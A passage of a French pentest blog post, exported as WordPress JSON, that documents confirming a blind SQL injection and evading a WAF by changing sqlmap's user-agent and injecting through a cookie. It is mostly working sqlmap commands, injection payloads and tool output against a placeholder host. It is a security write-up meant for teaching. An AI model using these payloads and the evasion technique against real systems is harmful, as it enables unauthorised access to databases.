{"id":5404,"date":"2022-12-13T15:50:25","date_gmt":"2022-12-13T14:50:25","guid":{"rendered":"https:\/\/www.vaadata.com\/blog\/?p=5404"},"modified":"2022-12-23T23:23:04","modified_gmt":"2022-12-23T22:23:04","slug":"exploitation-dune-injection-sql-avec-contournement-de-waf","status":"publish","type":"post","link":"https:\/\/www.vaadata.com\/blog\/fr\/exploitation-dune-injection-sql-avec-contournement-de-waf\/","title":{"rendered":"Exploitation d&rsquo;une injection SQL avec contournement de WAF"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">D\u00e9couverte d&rsquo;une injection SQL avec le scanner de BURP<\/h2>\n\n\n\n<p>Lors d&rsquo;un <strong>pentest<\/strong>, nous sommes tomb\u00e9s sur cette situation : <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"544\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2022\/12\/decouverte-injection-sql-1024x544.png\" alt=\"D\u00e9couverte d'une injection SQL lors d'un pentest\" class=\"wp-image-5405\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2022\/12\/decouverte-injection-sql-1024x544.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2022\/12\/decouverte-injection-sql-300x159.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2022\/12\/decouverte-injection-sql.png 1107w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<!--more-->\n\n\n\n<p>Le scanner de burp a d\u00e9tect\u00e9 une potentielle <strong>injection SQL<\/strong> sur un des endpoints de notre cible. D\u2019apr\u00e8s lui, le param\u00e8tre <code>idEntity<\/code> de cet endpoint est vuln\u00e9rable. Pour ce type de vuln\u00e9rabilit\u00e9, l\u2019id\u00e9al serait d\u2019utiliser l\u2019outil sqlmap afin de faciliter l\u2019exploitation et d\u00e9montrer l\u2019impact de cette vuln\u00e9rabilit\u00e9. <\/p>\n\n\n\n<p>Seulement voil\u00e0, lorsque sqlmap est lanc\u00e9 en ciblant ce param\u00e8tre, aucune vuln\u00e9rabilit\u00e9 n\u2019est d\u00e9tect\u00e9e.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ sqlmap -u https:\/\/www.exemple.com\/endpoint?idEntity=442 -p idEntity \n\n&#91;*] starting @ 12:38:54 \/2022-09-28\/\n\n&#91;12:38:54] &#91;INFO] testing connection to the target URL\nyou have not declared cookie(s), while server wants to set its own ('PHPSESSID=ed22131de21...2c78d23ba1'). Do you want to use those &#91;Y\/n] Y\n&#91;12:38:56] &#91;INFO] testing if the target URL content is stable\n&#91;12:38:56] &#91;WARNING] heuristic (basic) test shows that GET parameter 'idEntity' might not be injectable\n...\n&#91;12:39:18] &#91;WARNING] GET parameter 'idEntity' does not seem to be injectable\n&#91;12:39:18] &#91;CRITICAL] all tested parameters do not appear to be injectable. ...\n<\/code><\/pre>\n\n\n\n<p>Aucune exploitation n\u2019est possible avec ce r\u00e9sultat, mais ce serait une erreur d\u2019abandonner si rapidement. \u00c0 partir de cette situation, nous allons effectuer plusieurs actions pour :<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Confirmer qu\u2019il ne s\u2019agit pas d\u2019un faux positif<\/li><li>D\u00e9terminer pourquoi sqlmap ne d\u00e9tecte pas la vuln\u00e9rabilit\u00e9<\/li><li>Trouver une solution pour que sqlmap parvienne quand m\u00eame \u00e0 exploiter cet endpoint<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Confirmer la vuln\u00e9rabilit\u00e9 d\u2019injection SQL<\/h2>\n\n\n\n<p>Ici, nous allons essayer de confirmer qu\u2019il ne s\u2019agit pas d\u2019un faux positif et que la <a href=\"https:\/\/www.vaadata.com\/blog\/fr\/injections-sql-principes-impacts-exploitations-bonnes-pratiques-securite\/\" target=\"_blank\" rel=\"noopener\" title=\"\">vuln\u00e9rabilit\u00e9 d&rsquo;injection SQL<\/a> est bien pr\u00e9sente. Pour cela, il faut s\u2019int\u00e9resser au comportement l\u00e9gitime de l\u2019endpoint et comparer ce comportement avec les \u00e9l\u00e9ments identifi\u00e9s par <a href=\"https:\/\/www.vaadata.com\/blog\/fr\/introduction-burp-outil-dedie-securite-plateformes-web\/\" target=\"_blank\" rel=\"noopener\" title=\"\">Burp<\/a>.<\/p>\n\n\n\n<h3 class=\"has-text-color wp-block-heading\" style=\"color:#c0b800\">Comportement l\u00e9gitime de l\u2019endpoint et du param\u00e8tre idEntity<\/h3>\n\n\n\n<p>Depuis le Repeater de BURP, nous pouvons observer le fonctionnement de l\u2019endpoint. Ainsi, nous constatons que lorsque le param\u00e8tre <code>idEntity<\/code> est utilis\u00e9, le serveur renvoie quelque part dans sa r\u00e9ponse le nom associ\u00e9 \u00e0 l\u2019entit\u00e9 cibl\u00e9e.<\/p>\n\n\n\n<p><strong>Requ\u00eate l\u00e9gitime valide<\/strong> :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/endpoint?idEntity=442 HTTP\/1.1\nHost: www.exemple.com\n<\/code><\/pre>\n\n\n\n<p><strong>Extrait de la r\u00e9ponse l\u00e9gitime valide<\/strong> :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\nDate: Tue, 13 Dec 2022 13:20:37 GMT\n\n...\n&lt;... nameEntity=\"Rubeus Agrid\" ...&gt;\n...\n<\/code><\/pre>\n\n\n\n<p>Par ailleurs, les tests manuels permettent de d\u00e9terminer que lorsque la valeur du param\u00e8tre <code>idEntity<\/code> est invalide, le champ <code>nameEntity<\/code> retourn\u00e9 dans la r\u00e9ponse est vide.<\/p>\n\n\n\n<p><strong>Requ\u00eate l\u00e9gitime invalide<\/strong> :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/endpoint?idEntity=0 HTTP\/1.1\nHost: www.exemple.com\n<\/code><\/pre>\n\n\n\n<p><strong>Extrait de la r\u00e9ponse l\u00e9gitime invalide<\/strong> :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\nDate: Tue, 13 Dec 2022 13:20:37 GMT\n\n...\n&lt;... nameEntity=\"\" ...&gt;\n...\n<\/code><\/pre>\n\n\n\n<h3 class=\"has-text-color wp-block-heading\" style=\"color:#c0b800\">D\u00e9tail du comportement identifi\u00e9 par BURP<\/h3>\n\n\n\n<p>Les requ\u00eates qui ont permis \u00e0 Burp d\u2019identifier la potentielle vuln\u00e9rabilit\u00e9 peuvent \u00eatre directement consult\u00e9es.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"1012\" height=\"223\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2022\/12\/requetes-burp.png\" alt=\"Requ\u00eates Burp qui ont permis d\u2019identifier la vuln\u00e9rabilit\u00e9 d'injection SQL\" class=\"wp-image-5411\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2022\/12\/requetes-burp.png 1012w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2022\/12\/requetes-burp-300x66.png 300w\" sizes=\"(max-width: 1012px) 100vw, 1012px\" \/><\/figure>\n\n\n\n<p>Le contenu de ces requ\u00eates et r\u00e9ponses est donn\u00e9 ci-dessous.<\/p>\n\n\n\n<p><strong>Requ\u00eate 1 :<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/endpoint?idEntity=44252262402+or+2346=02346 HTTP\/1.1\nHost: www.exemple.com\n\n<\/code><\/pre>\n\n\n\n<p><strong>Extrait de r\u00e9ponse 1 :<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\n...\n\n...\n&lt;... NameEntity=\"John Smith\" ...&gt;\n...\n<\/code><\/pre>\n\n\n\n<p><strong>Requ\u00eate 2 :<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/endpoint?idEntity=44291517249+or+6362=6367 HTTP\/1.1\nHost: www.exemple.com\n... \n<\/code><\/pre>\n\n\n\n<p><strong>Extrait de r\u00e9ponse 2 :<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\n...\n\n...\n&lt;... NameEntity=\"\" ...&gt;\n...\n<\/code><\/pre>\n\n\n\n<h3 class=\"has-text-color wp-block-heading\" style=\"color:#c0b800\">Analyse des requ\u00eates  <\/h3>\n\n\n\n<p>Avec ces requ\u00eates, on observe qu\u2019une injection de type boolean-blind semble avoir fonctionn\u00e9. La premi\u00e8re payload peut \u00eatre simplifi\u00e9e de cette fa\u00e7on si l\u2019on applique les op\u00e9rateurs SQL <code>or<\/code> et <code>=<\/code> :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>idEntity = 44252262402 or 2346=2346\nidEntity = 44252262402 or 1\n1<\/code><\/pre>\n\n\n\n<p>Le serveur r\u00e9pond favorablement en r\u00e9pondant par <code>&lt;... NameEntity=\"John Smith\" ...&gt;<\/code>. La condition sur <code>idEntity<\/code> est outrepass\u00e9e gr\u00e2ce \u00e0 notre injection. Dans son traitement, le serveur retourne la toute premi\u00e8re entit\u00e9 qu&rsquo;il rencontre. C&rsquo;est-\u00e0-dire celle avec l&rsquo;id <code>1<\/code>.<\/p>\n\n\n\n<p>La deuxi\u00e8me payload peut \u00eatre simplifi\u00e9e de cette fa\u00e7on :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>idEntity = 44291517249 or 6362=6367\nidEntity = 44291517249 or 0\nidEntity = 44291517249\n<\/code><\/pre>\n\n\n\n<p>Vu que <code>44291517249<\/code> est une valeur invalide (aucune entit\u00e9 associ\u00e9e), le serveur r\u00e9pond par <code>&lt;... NameEntity=\"\" ...&gt;<\/code> .<\/p>\n\n\n\n<p>Le fait de rejouer ces requ\u00eates permet de confirmer que les Op\u00e9rateurs SQL sont bien interpr\u00e9t\u00e9s par le serveur. \u00c0 ce moment, nous avons de bonnes raisons de penser que l\u2019injection boolean-blind n\u2019est pas un faux positif.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">D\u00e9bugage de sqlmap<\/h2>\n\n\n\n<h3 class=\"has-text-color wp-block-heading\" style=\"color:#c0b800\">Ajustement de sqlmap<\/h3>\n\n\n\n<p>Maintenant que nous avons une meilleure compr\u00e9hension de ce qui se passe, nous pouvons tenter de relancer sqlmap avec quelques options suppl\u00e9mentaires :<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><code>--technique=B<\/code> pour pr\u00e9ciser que nous voulons utiliser une technique d&rsquo;injection boolean-blind<\/li><li><code>--not-string=nameEntity=\u201d\u201d<\/code> pour indiquer que la \u201cquerry SQL\u201d \u00e9choue lorsque le serveur retourne cette chaine de caract\u00e8re<\/li><li><code>--proxy=http:\/\/localhost:8080<\/code> pour rediriger le trafic de sqlmap vers notre proxy Burp<\/li><\/ul>\n\n\n\n<p>En lan\u00e7ant sqlmap avec ces nouvelles options, nous obtenons ce r\u00e9sultat :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ sqlmap -u https:\/\/www.exemple.com\/endpoint?idEntity=442 -p idEntity --technique=B --not-string='nameEntity = \"\";' --proxy=http:\/\/localhost:8080\n&#91;*] starting @ 16:45:37 \/2022-09-28\/\n\n&#91;16:45:37] &#91;INFO] testing connection to the target URL\nyou have not declared cookie(s), while server wants to set its own ('PHPSESSID=abb6bd689d5...2bd0ef7098'). Do you want to use those &#91;Y\/n] Y\n&#91;16:45:39] &#91;WARNING] heuristic (basic) test shows that GET parameter 'idEntity' might not be injectable\n&#91;16:45:39] &#91;INFO] testing for SQL injection on GET parameter 'idEntity'\n&#91;16:45:39] &#91;INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'\n&#91;16:45:42] &#91;INFO] testing 'Boolean-based blind - Parameter replace (original value)'\n&#91;16:45:42] &#91;WARNING] GET parameter 'idEntity' does not seem to be injectable\n&#91;16:45:42] &#91;CRITICAL] all tested parameters do not appear to be injectable. ...\n\n&#91;*] ending @ 16:45:42 \/2022-09-28\/\n<\/code><\/pre>\n\n\n\n<h3 class=\"has-text-color wp-block-heading\" style=\"color:#c0b800\">Analyse du trafic<\/h3>\n\n\n\n<p>Le r\u00e9sultat ne correspond toujours pas \u00e0 nos attentes. Mais maintenant, le trafic passe par notre proxy. Gr\u00e2ce \u00e0 cela, nous pouvons identifier ce qui bloque gr\u00e2ce aux requ\u00eates captur\u00e9es. Voici ce que nous observons :<\/p>\n\n\n\n<p><strong>Requ\u00eate :<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/endpoint?idEntity=442&lt;payload_SQLMAP&gt; HTTP\/1.1\nUser-Agent: sqlmap\/1.6.8#stable (https:\/\/sqlmap.org)\nHost: www.exemple.com\n...\n<\/code><\/pre>\n\n\n\n<p><strong>R\u00e9ponse :<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\n...\nContent-Length: 0\n<\/code><\/pre>\n\n\n\n<p>La r\u00e9ponse ci-dessus est observ\u00e9e pour chacune des requ\u00eates envoy\u00e9es. Celle-ci consiste en une r\u00e9ponse HTTP 200 vide (content-Lenght: 0). La pr\u00e9sence d\u2019un WAF (Web Application Firewall) serait \u00e0 l\u2019origine de la d\u00e9route de sqlmap. Le serveur renvoie une r\u00e9ponse vide \u00e0 chaque fois que le WAF estime subir une attaque.<\/p>\n\n\n\n<h3 class=\"has-text-color wp-block-heading\" style=\"color:#c0b800\">Confirmation de l&rsquo;hypoth\u00e8se <\/h3>\n\n\n\n<p>Cette hypoth\u00e8se est confirm\u00e9e d\u00e8s lors que l\u2019on essaie d\u2019envoyer manuellement une instruction SLEEP via le Repeater.<\/p>\n\n\n\n<p><strong>Requ\u00eate manuelle d\u2019une injection Time-Based<\/strong> : <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/endpoint?idEntity=442+and+SLEEP(5)+-- HTTP\/1.1\nHost: www.exemple.com\n<\/code><\/pre>\n\n\n\n<p><strong>Extrait de la r\u00e9ponse<\/strong> : <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\n...\nContent-Length: 0\n<\/code><\/pre>\n\n\n\n<p>Une r\u00e9ponse vide est renvoy\u00e9e par le serveur attestant de la r\u00e9action du WAF \u00e0 notre payload.<\/p>\n\n\n\n<h3 class=\"has-text-color wp-block-heading\" style=\"color:#c0b800\">Premi\u00e8re m\u00e9thode d&rsquo;\u00e9vasion <\/h3>\n\n\n\n<p>Afin de pousser notre exploitation, il est n\u00e9cessaire de faire parvenir nos payloads sans se faire d\u00e9tecter par le WAF. Nous obtenons d\u00e9j\u00e0 un premier r\u00e9sultat encourageant juste en modifiant le <code>user-agent<\/code> de nos requ\u00eates :<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><code>-A \"NONE\"<\/code>: Modification du user-agent de <code>sqlmap\/1.6.8#stable (https:\/\/sqlmap.org)<\/code> \u00e0 <code>NONE<\/code><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>$ sqlmap -u https:\/\/www.exemple.com\/endpoint?idEntity=442 -p idEntity --technique=B --not-string='nomEntity = \"\"' --proxy=http:\/\/localhost:8080 -A \"NONE\"\n\n&#91;*] starting @ 16:36:42 \/2022-09-28\/\n\n&#91;16:36:42] &#91;INFO] testing connection to the target URL\n&#91;16:36:44] &#91;WARNING] potential CAPTCHA protection mechanism detected\nyou have not declared cookie(s), while server wants to set its own ('PHPSESSID=2712093e2d7...39857346b9'). Do you want to use those &#91;Y\/n] Y\n&#91;16:36:47] &#91;WARNING] heuristic (basic) test shows that GET parameter 'idEntity' might not be injectable\n&#91;16:36:49] &#91;INFO] testing for SQL injection on GET parameter 'idEntity'\n&#91;16:36:49] &#91;INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'\n&#91;16:36:51] &#91;WARNING] reflective value(s) found and filtering out\n&#91;16:36:57] &#91;INFO] GET parameter 'idEntity' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable\n&#91;16:37:23] &#91;INFO] checking if the injection point on GET parameter 'idEntity' is a false positive\nGET parameter 'idEntity' is vulnerable. Do you want to keep testing the others (if any)? &#91;y\/N] N\nsqlmap identified the following injection point(s) with a total of 16 HTTP(s) requests:\n---\nParameter: idEntity (GET)\n    Type: boolean-based blind\n    Title: AND boolean-based blind - WHERE or HAVING clause\n    Payload: idEntity=442 AND 4465=4465\n---\n&#91;16:37:37] &#91;INFO] testing Altibase\n&#91;16:37:38] &#91;WARNING] the back-end DBMS is not Altibase\n&#91;16:37:38] &#91;INFO] testing MySQL\n&#91;16:37:39] &#91;INFO] confirming MySQL\n<\/code><\/pre>\n\n\n\n<p>Ainsi, nous obtenons la confirmation que l\u2019endpoint est vuln\u00e9rable aux injections SQL avec la m\u00e9thode boolean-blind.<\/p>\n\n\n\n<h3 class=\"has-text-color wp-block-heading\" style=\"color:#c0b800\">Limites <\/h3>\n\n\n\n<p>Malheureusement, m\u00eame si nous sommes parvenus \u00e0 d\u00e9tecter la vuln\u00e9rabilit\u00e9, ce n\u2019est pas encore suffisant pour permettre une exploitation compl\u00e8te. Ci-dessous, la tentative d\u2019exploitation pour retrouver les noms des bases de donn\u00e9es : <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ sqlmap -u https:\/\/www.exemple.com\/endpoint?idEntity=442 -p idEntity --technique=B --not-string='nomEntity = \"\"' --proxy=http:\/\/localhost:8080 -A \"NONE\" -dbs\n\n&#91;*] starting @ 17:22:32 \/2022-09-28\/\n\n&#91;17:22:32] &#91;INFO] resuming back-end DBMS 'mysql'\n&#91;17:22:32] &#91;INFO] testing connection to the target URL\n&#91;17:22:34] &#91;WARNING] potential CAPTCHA protection mechanism detected\nyou have not declared cookie(s), while server wants to set its own ('PHPSESSID=d3a6945d5a7...3994752cf5'). Do you want to use those &#91;Y\/n] Y\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: idEntity (GET)\n    Type: boolean-based blind\n    Title: AND boolean-based blind - WHERE or HAVING clause\n    Payload: idEntity=442 AND 4325=4325\n---\n&#91;17:22:37] &#91;INFO] the back-end DBMS is MySQL\n&#91;17:22:37] &#91;INFO] fetching database names\n&#91;17:22:37] &#91;INFO] fetching number of databases\n&#91;17:22:37] &#91;WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval\n&#91;17:22:37] &#91;INFO] retrieved:\n&#91;17:22:38] &#91;WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'\n&#91;17:22:38] &#91;ERROR] unable to retrieve the number of databases\n&#91;17:22:38] &#91;INFO] falling back to current database\n&#91;17:22:38] &#91;INFO] fetching current database\n&#91;17:22:38] &#91;INFO] retrieved:\n&#91;17:23:06] &#91;CRITICAL] unable to retrieve the database names\n<\/code><\/pre>\n\n\n\n<p>Cela s\u2019explique car le WAF continue de bloquer les payloads permettant l\u2019extraction de donn\u00e9es (SELECT, SLEEP, FROM, WHERE, etc.).<\/p>\n\n\n\n<p>Dans cette situation, nous pouvons utiliser l\u2019option <code>--tamper<\/code> de sqlmap. Cette option permet de charger un ou des scripts de transformation de payloads dans l\u2019objectif d\u2019outrepasser les WAF. La documentation sur cette option peut \u00eatre consult\u00e9e <a href=\"https:\/\/github.com\/sqlmapproject\/sqlmap\/wiki\/Usage#tamper-injection-data\" target=\"_blank\" rel=\"noopener\" title=\"\">ICI<\/a> et la liste des scripts utilisables par cette option sont consultable via la commande :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap --list-tamper <\/code><\/pre>\n\n\n\n<p>Malheureusement, dans notre cas aucun des scripts propos\u00e9s n\u2019a fonctionn\u00e9. Alors que nous \u00e9tions si pr\u00e8s du but, l\u2019exploitation semblait impossible.<\/p>\n\n\n\n<p>\u00c0 moins que\u2026<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Exploitation de l\u2019injection SQL<\/h2>\n\n\n\n<p>Pour l\u2019instant nous nous sommes int\u00e9ress\u00e9s uniquement au param\u00e8tre <code>idEntity<\/code> de l\u2019endpoint. Apr\u00e8s une investigation sommaire, nous avons lanc\u00e9 d\u2019autres outils dans l\u2019espoir de d\u00e9bloquer la situation. C\u2019est donc gr\u00e2ce \u00e0 l\u2019extension <code>ParamMiner<\/code> de BURP que nous avons pu suivre une autre piste. Cette extension propose de fuzzer un endpoint dans le but d\u2019identifier d\u2019autres param\u00e8tres, en-t\u00eates ou cookies utilis\u00e9s par l\u2019endpoint. C\u2019est avec cet outil que le cookie <code>idEntitySelected<\/code> a pu \u00eatre d\u00e9couvert.<\/p>\n\n\n\n<h3 class=\"has-text-color wp-block-heading\" style=\"color:#c0b800\">Cookie idEntitySelected<\/h3>\n\n\n\n<p>Lorsque ce cookie est pr\u00e9sent dans la requ\u00eate et que le param\u00e8tre <code>GET idEntity<\/code> est absent, alors le serveur affiche les informations de l\u2019entit\u00e9 correspondant \u00e0 la valeur du cookie. Leur fonctionnement est en tout point similaire. D\u2019un point de vue fonctionnel, ce cookie devait servir \u00e0 sauvegarder le choix de l\u2019utilisateur lors de la s\u00e9lection d\u2019une entit\u00e9.<\/p>\n\n\n\n<p><strong>Requ\u00eate :<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/endpoint HTTP\/1.1\nHost: www.exemple.fr\nCookie: idEntitySelected=\n<\/code><\/pre>\n\n\n\n<p><strong>R\u00e9ponse :<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\n...\n\n...\n&lt;... NameEntity=\"John Smith\" ...&gt;\n...\n<\/code><\/pre>\n\n\n\n<h3 class=\"has-text-color wp-block-heading\" style=\"color:#c0b800\">Contournement du WAF<\/h3>\n\n\n\n<p>Avec le Repeater de BURP, nous pouvons observer le comportement du WAF avec ce cookie. Et c\u2019est avec joie que nous constatons que l\u2019instruction <code>SLEEP<\/code> n\u2019est pas d\u00e9tect\u00e9e par le WAF et qu\u2019elle retarde effectivement la r\u00e9ponse du serveur.<\/p>\n\n\n\n<p><strong>Requ\u00eate :<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/endpoint HTTP\/1.1\nHost: www.exemple.fr\nCookie: idEntitySelected=1+or+SLEEP(5)--\n<\/code><\/pre>\n\n\n\n<p><strong>R\u00e9ponse <\/strong>(obtenue apr\u00e8s 5 secondes de d\u00e9lai) <strong>:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\n...\n\n...\n&lt;... NameEntity=\"John Smith\" ...&gt;\n...\n<\/code><\/pre>\n\n\n\n<h3 class=\"has-text-color wp-block-heading\" style=\"color:#c0b800\">Adaptation \u00e0 sqlmap <\/h3>\n\n\n\n<p>Gr\u00e2ce \u00e0 ces tests manuels, nous comprenons que le WAF applique un contr\u00f4le strict sur les param\u00e8tres GET des requ\u00eates. Par contre, il s\u2019av\u00e8re plus laxiste sur les valeurs des cookies. Notre exploitation de la vuln\u00e9rabilit\u00e9 peut donc passer par le cookie <code>idEntitySelected<\/code> pour un contournement effectif du WAF.<\/p>\n\n\n\n<p>Voici les nouveaux param\u00e8tres \u00e0 ajouter pour inclure le cookie en tant que nouvel \u00e9l\u00e9ment injectable.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><code>--cookie='idEntitySelected=1'<\/code> : le cookie \u00e0 inclure dans la requ\u00eate.<\/li><li><code>--level=2<\/code>: il faut au minimum le niveau 2 de scan pour inclure les cookies comme param\u00e8tres injectables.<\/li><li><code>--param-filter=cookie<\/code> : on pr\u00e9cise que seuls les cookies nous int\u00e9ressent<\/li><\/ul>\n\n\n\n<p>Aussi, nous retirons l\u2019option <code>--technique=B<\/code> car d\u2019autres m\u00e9thodes d\u2019injection semblent possibles avec ce nouveau param\u00e8tre.<\/p>\n\n\n\n<p>Notre nouvelle commande sqlmap obtient donc ce r\u00e9sultat :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ sqlmap -u https:\/\/www.exemple.com\/endpoint --cookie='idEntitySelected=1' --level=2 --param-filter=cookie --not-string='nameEntity = \"\";' --proxy=http:\/\/localhost:8080 -A \"NONE\"\n\n&#91;*] starting @ 18:07:35 \/2022-09-28\/\n\n&#91;18:07:35] &#91;WARNING] you've provided target URL without any GET parameters (e.g. 'http:\/\/www.site.com\/article.php?id=1') and without providing any POST parameters through option '--data'\ndo you want to try URI injections in the target URL itself? &#91;Y\/n\/q] n\n&#91;18:07:36] &#91;INFO] resuming back-end DBMS 'mysql'\n&#91;18:07:36] &#91;INFO] testing connection to the target URL\n&#91;18:07:38] &#91;WARNING] potential CAPTCHA protection mechanism detected\n&#91;18:07:38] &#91;INFO] testing if Cookie parameter 'idEntitySelected' is dynamic\ndo you want to URL encode cookie values (implementation specific)? &#91;Y\/n] Y\n&#91;18:07:45] &#91;INFO] Cookie parameter 'idEntitySelected' appears to be dynamic\n&#91;18:07:48] &#91;WARNING] reflective value(s) found and filtering out\n&#91;18:07:48] &#91;INFO] heuristic (basic) test shows that Cookie parameter 'idEntitySelected' might be injectable\n&#91;18:07:51] &#91;INFO] testing for SQL injection on Cookie parameter 'idEntitySelected'\n&#91;18:07:51] &#91;INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'\n&#91;18:08:01] &#91;INFO] Cookie parameter 'idEntitySelected' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable\n&#91;18:08:01] &#91;INFO] testing 'Generic inline queries'\n&#91;18:08:02] &#91;INFO] testing 'MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n&#91;18:08:04] &#91;INFO] testing 'MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'\n&#91;18:08:05] &#91;INFO] testing 'MySQL &gt;= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'\n&#91;18:08:06] &#91;INFO] testing 'MySQL &gt;= 5.0 error-based - Parameter replace (FLOOR)'\n&#91;18:08:07] &#91;INFO] testing 'MySQL &gt;= 5.1 error-based - Parameter replace (EXTRACTVALUE)'\n&#91;18:08:09] &#91;INFO] testing 'MySQL inline queries'\n&#91;18:08:10] &#91;INFO] testing 'MySQL &gt;= 5.0.12 stacked queries (comment)'\n&#91;18:08:10] &#91;WARNING] time-based comparison requires larger statistical model, please wait............ (done)\n&#91;18:08:23] &#91;INFO] testing 'MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)'\n&#91;18:08:36] &#91;INFO] Cookie parameter 'idEntitySelected' appears to be 'MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)' injectable\nit looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? &#91;Y\/n] Y\nfor the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (1) values? &#91;Y\/n] Y\n&#91;18:08:59] &#91;INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'\n&#91;18:08:59] &#91;INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found\n&#91;18:09:01] &#91;INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test\n&#91;18:09:06] &#91;INFO] target URL appears to have 1 column in query\n&#91;18:09:10] &#91;INFO] Cookie parameter 'idEntitySelected' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable\nCookie parameter 'idEntitySelected' is vulnerable. Do you want to keep testing the others (if any)? &#91;y\/N] N\nsqlmap identified the following injection point(s) with a total of 40 HTTP(s) requests:\n---\nParameter: idEntitySelectede (Cookie)\n    Type: boolean-based blind\n    Title: AND boolean-based blind - WHERE or HAVING clause\n    Payload: idEntitySelected=1 AND 5547=5547\n\n    Type: time-based blind\n    Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: idEntitySelected=1 AND (SELECT 6499 FROM (SELECT(SLEEP(5)))Dwtl)\n\n    Type: UNION query\n    Title: Generic UNION query (NULL) - 1 column\n    Payload: idEntitySelected=-1931 UNION ALL SELECT CONCAT(0x716a717671,0x624e4644416d526271536d6d57414c527a44616959765253704872496e7976616a447262626f746f,0x717a6a6271)-- -\n---\n&#91;18:09:18] &#91;INFO] the back-end DBMS is MySQL\n\n&#91;*] ending @ 18:09:18 \/2022-09-28\/\n<\/code><\/pre>\n\n\n\n<p>Et l\u00e0 c\u2019est le jackpot !<\/p>\n\n\n\n<p>Non seulement des techniques d\u2019injections suppl\u00e9mentaires ont pu \u00eatre d\u00e9couvertes (UNION \u00e9tant bien plus efficace que les deux autres), mais la lecture des \u00e9l\u00e9ments de la base de donn\u00e9es est maintenant possible.<\/p>\n\n\n\n<p>Il ne reste plus qu\u2019\u00e0 relancer la commande pr\u00e9c\u00e9dente en ajoutant les <a href=\"https:\/\/github.com\/sqlmapproject\/sqlmap\/wiki\/Usage#enumeration\" target=\"_blank\" rel=\"noopener\" title=\"\">options d&rsquo;\u00e9num\u00e9ration de sqlmap<\/a> pour obtenir le contenu de la base de donn\u00e9es.<\/p>\n\n\n\n<p>Nous sommes maintenant capables d\u2019exploiter efficacement notre vuln\u00e9rabilit\u00e9. Ce niveau d\u2019exploitation n\u2019aurait sans doute pas \u00e9t\u00e9 possible si ne nous \u00e9tions pas int\u00e9ress\u00e9s en d\u00e9tail au fonctionnement de l\u2019endpoint et de sqlmap.<\/p>\n\n\n\n<p>Ainsi, si vous rencontrez une situation similaire lors d&rsquo;un <a href=\"https:\/\/www.vaadata.com\/fr\/pentest-web\/\" title=\"\">pentest web<\/a>, prenez le 